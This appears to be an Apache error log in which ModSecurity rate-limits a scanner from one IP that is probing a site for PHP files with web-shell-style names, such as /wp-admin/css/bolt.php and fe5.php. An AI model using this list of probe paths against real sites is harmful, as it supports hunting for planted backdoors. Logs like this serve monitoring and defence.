[Fri Apr 24 03:55:55.138201 2026] [:error] [pid 19100:tid 19109] [client 20.215.57.60:15659] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aep5S7F_hzQs4CqbiffhfQAAAAA"]
[Fri Apr 24 03:55:56.639526 2026] [:error] [pid 19200:tid 19227] [client 20.215.57.60:36512] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aep5TDQ--M3-tsKAnhFQeQAAANM"]
[Fri Apr 24 03:55:58.419197 2026] [:error] [pid 19102:tid 19177] [client 20.215.57.60:36532] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aep5TgDSgrbLEZbkqD6FkAAAAI0"]
[Fri Apr 24 03:56:00.215648 2026] [:error] [pid 19101:tid 19147] [client 20.215.57.60:30614] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aep5UGAHj9bEvrTgbO2gugAAAEo"]
[Fri Apr 24 03:56:02.011014 2026] [:error] [pid 19200:tid 19214] [client 20.215.57.60:23587] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aep5UjQ--M3-tsKAnhFQkQAAAMY"]
[Fri Apr 24 03:56:03.159623 2026] [:error] [pid 19200:tid 19210] [client 20.215.57.60:23576] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aep5UzQ--M3-tsKAnhFQmQAAAMI"]
[Fri Apr 24 03:56:04.290787 2026] [:error] [pid 19200:tid 19215] [client 20.215.57.60:35117] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aep5VDQ--M3-tsKAnhFQpAAAAMc"]
[Fri Apr 24 03:56:05.640677 2026] [:error] [pid 19102:tid 19184] [client 20.215.57.60:15652] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aep5VQDSgrbLEZbkqD6FsgAAAJQ"]
[Fri Apr 24 03:56:06.982205 2026] [:error] [pid 19102:tid 19165] [client 20.215.57.60:8398] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aep5VgDSgrbLEZbkqD6FvgAAAIE"]
[Fri Apr 24 03:56:10.440120 2026] [:error] [pid 19100:tid 19133] [client 20.215.57.60:34161] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aep5WrF_hzQs4CqbiffhmwAAABc"]
[Fri Apr 24 03:56:13.171855 2026] [:error] [pid 19102:tid 19183] [client 20.215.57.60:48205] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aep5XQDSgrbLEZbkqD6F1gAAAJM"]
[Fri Apr 24 03:56:13.953396 2026] [:error] [pid 19200:tid 19221] [client 20.215.57.60:64705] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aep5XTQ--M3-tsKAnhFQrgAAAM0"]
[Fri Apr 24 03:56:17.040192 2026] [:error] [pid 19102:tid 19164] [client 20.215.57.60:25713] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aep5YQDSgrbLEZbkqD6F3gAAAIA"]
[Fri Apr 24 03:56:19.278192 2026] [:error] [pid 19102:tid 19179] [client 20.215.57.60:25124] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aep5YwDSgrbLEZbkqD6F5QAAAI8"]
[Fri Apr 24 03:56:20.842547 2026] [:error] [pid 19101:tid 19144] [client 20.215.57.60:25703] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aep5ZGAHj9bEvrTgbO2g4gAAAEc"]
[Fri Apr 24 03:56:24.829956 2026] [:error] [pid 19200:tid 19222] [client 20.215.57.60:34135] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aep5aDQ--M3-tsKAnhFQyQAAAM4"]
[Fri Apr 24 03:56:26.188070 2026] [:error] [pid 19200:tid 19218] [client 20.215.57.60:48220] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aep5ajQ--M3-tsKAnhFQzQAAAMo"]
[Fri Apr 24 03:56:26.993141 2026] [:error] [pid 19200:tid 19226] [client 20.215.57.60:30596] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aep5ajQ--M3-tsKAnhFQ0wAAANI"]
[Fri Apr 24 03:56:28.145163 2026] [:error] [pid 19101:tid 19145] [client 20.215.57.60:17770] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aep5bGAHj9bEvrTgbO2g9wAAAEg"]
[Fri Apr 24 03:56:28.977251 2026] [:error] [pid 19101:tid 19146] [client 20.215.57.60:5419] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aep5bGAHj9bEvrTgbO2g-wAAAEk"]
[Fri Apr 24 03:56:30.938200 2026] [:error] [pid 19101:tid 19147] [client 20.215.57.60:65195] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aep5bmAHj9bEvrTgbO2hAwAAAEo"]
[Fri Apr 24 03:56:32.246501 2026] [:error] [pid 19102:tid 19185] [client 20.215.57.60:30624] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aep5cADSgrbLEZbkqD6F_QAAAJU"]
[Fri Apr 24 03:56:34.597056 2026] [:error] [pid 19102:tid 19172] [client 20.215.57.60:15617] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aep5cgDSgrbLEZbkqD6GCQAAAIg"]
[Fri Apr 24 03:56:35.483066 2026] [:error] [pid 19102:tid 19184] [client 20.215.57.60:17739] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aep5cwDSgrbLEZbkqD6GEAAAAJQ"]
[Fri Apr 24 03:56:36.638135 2026] [:error] [pid 19200:tid 19220] [client 20.215.57.60:65176] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aep5dDQ--M3-tsKAnhFQ_QAAAMw"]
[Fri Apr 24 03:56:38.066943 2026] [:error] [pid 19102:tid 19172] [client 20.215.57.60:48203] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aep5dgDSgrbLEZbkqD6GHAAAAIg"]
[Fri Apr 24 03:56:39.230379 2026] [:error] [pid 19200:tid 19214] [client 20.215.57.60:64756] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aep5dzQ--M3-tsKAnhFRDQAAAMY"]
[Fri Apr 24 03:56:40.139761 2026] [:error] [pid 19200:tid 19228] [client 20.215.57.60:25704] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aep5eDQ--M3-tsKAnhFREAAAANQ"]
[Fri Apr 24 03:56:41.481219 2026] [:error] [pid 19100:tid 19114] [client 20.215.57.60:5432] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aep5ebF_hzQs4CqbiffhwgAAAAU"]
[Fri Apr 24 03:56:44.058663 2026] [:error] [pid 19100:tid 19127] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/uuu.php
[Fri Apr 24 03:56:44.320966 2026] [:error] [pid 19100:tid 19112] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/no1.php
[Fri Apr 24 03:56:44.582459 2026] [:error] [pid 19100:tid 19128] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/w2025.php
[Fri Apr 24 03:56:44.854682 2026] [:error] [pid 19100:tid 19110] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/fvvff.php
[Fri Apr 24 03:56:45.120227 2026] [:error] [pid 19100:tid 19130] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/a2.php
[Fri Apr 24 03:56:45.384982 2026] [:error] [pid 19100:tid 19131] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Fri Apr 24 03:56:45.653321 2026] [:error] [pid 19100:tid 19119] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Fri Apr 24 03:56:46.173791 2026] [:error] [pid 19100:tid 19115] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/66.php
[Fri Apr 24 03:56:46.437149 2026] [:error] [pid 19100:tid 19109] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Fri Apr 24 03:56:46.697502 2026] [:error] [pid 19100:tid 19125] [client 20.215.57.60:62952] File does not exist: /usr/local/apache/htdocs/suspended-page/ol.php
[Fri Apr 24 03:56:46.969373 2026] [:error] [pid 19100:tid 19132] [client 20.215.57.60:62952] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aep5frF_hzQs4Cqbiffh1AAAABY"]
[Fri Apr 24 03:56:48.129545 2026] [:error] [pid 19102:tid 19182] [client 20.215.57.60:15678] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aep5gADSgrbLEZbkqD6GQAAAAJI"]
[Fri Apr 24 03:56:51.070557 2026] [:error] [pid 19200:tid 19210] [client 20.215.57.60:17766] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aep5gzQ--M3-tsKAnhFRKwAAAMI"]
[Fri Apr 24 03:56:53.633868 2026] [:error] [pid 19102:tid 19171] [client 20.215.57.60:65160] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aep5hQDSgrbLEZbkqD6GTgAAAIc"]
[Fri Apr 24 03:56:55.389032 2026] [:error] [pid 19100:tid 19112] [client 20.215.57.60:64709] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aep5h7F_hzQs4Cqbiffh4AAAAAM"]
[Fri Apr 24 03:56:59.909301 2026] [:error] [pid 19102:tid 19183] [client 20.215.57.60:30622] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aep5iwDSgrbLEZbkqD6GWwAAAJM"]
[Fri Apr 24 03:57:02.453058 2026] [:error] [pid 19102:tid 19166] [client 20.215.57.60:38821] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aep5jgDSgrbLEZbkqD6GXAAAAII"]
[Fri Apr 24 03:57:04.732534 2026] [:error] [pid 19100:tid 19127] [client 20.215.57.60:41920] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aep5kLF_hzQs4Cqbiffh5gAAABE"]
[Fri Apr 24 03:57:05.956171 2026] [:error] [pid 19100:tid 19130] [client 20.215.57.60:60368] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aep5kbF_hzQs4Cqbiffh6gAAABQ"]
[Fri Apr 24 03:57:07.171216 2026] [:error] [pid 19102:tid 19184] [client 20.215.57.60:58967] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aep5kwDSgrbLEZbkqD6GZwAAAJQ"]
[Fri Apr 24 03:57:08.841157 2026] [:error] [pid 19200:tid 19214] [client 20.215.57.60:21571] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aep5lDQ--M3-tsKAnhFRXQAAAMY"]
[Fri Apr 24 03:57:12.774317 2026] [:error] [pid 19102:tid 19169] [client 20.215.57.60:5338] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aep5mADSgrbLEZbkqD6GawAAAIU"]
[Fri Apr 24 03:57:14.438799 2026] [:error] [pid 19200:tid 19214] [client 20.215.57.60:5325] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aep5mjQ--M3-tsKAnhFRaAAAAMY"]
[Fri Apr 24 03:57:16.109714 2026] [:error] [pid 19101:tid 19144] [client 20.215.57.60:38142] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aep5nGAHj9bEvrTgbO2hTAAAAEc"]
[Fri Apr 24 03:57:18.699135 2026] [:error] [pid 19200:tid 19214] [client 20.215.57.60:44552] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aep5njQ--M3-tsKAnhFRbwAAAMY"]
[Fri Apr 24 03:57:20.160833 2026] [:error] [pid 19102:tid 19188] [client 20.215.57.60:36119] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aep5oADSgrbLEZbkqD6GegAAAJg"]
[Fri Apr 24 03:57:23.082212 2026] [:error] [pid 19102:tid 19179] [client 20.215.57.60:59481] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aep5owDSgrbLEZbkqD6GgQAAAI8"]
[Fri Apr 24 03:57:24.802965 2026] [:error] [pid 19102:tid 19184] [client 20.215.57.60:59959] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aep5pADSgrbLEZbkqD6GiAAAAJQ"]
[Fri Apr 24 03:57:28.152802 2026] [:error] [pid 19200:tid 19232] [client 20.215.57.60:59487] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aep5qDQ--M3-tsKAnhFReAAAANg"]
[Fri Apr 24 03:57:29.725874 2026] [:error] [pid 19200:tid 19223] [client 20.215.57.60:36129] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aep5qTQ--M3-tsKAnhFRfgAAAM8"]
[Fri Apr 24 03:57:33.237514 2026] [:error] [pid 19101:tid 19153] [client 20.215.57.60:6117] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aep5rWAHj9bEvrTgbO2hnwAAAFA"]
[Fri Apr 24 03:57:34.247179 2026] [:error] [pid 19200:tid 19215] [client 20.215.57.60:19013] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aep5rjQ--M3-tsKAnhFRjQAAAMc"]
[Fri Apr 24 03:57:35.631926 2026] [:error] [pid 19102:tid 19182] [client 20.215.57.60:44603] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aep5rwDSgrbLEZbkqD6GlgAAAJI"]
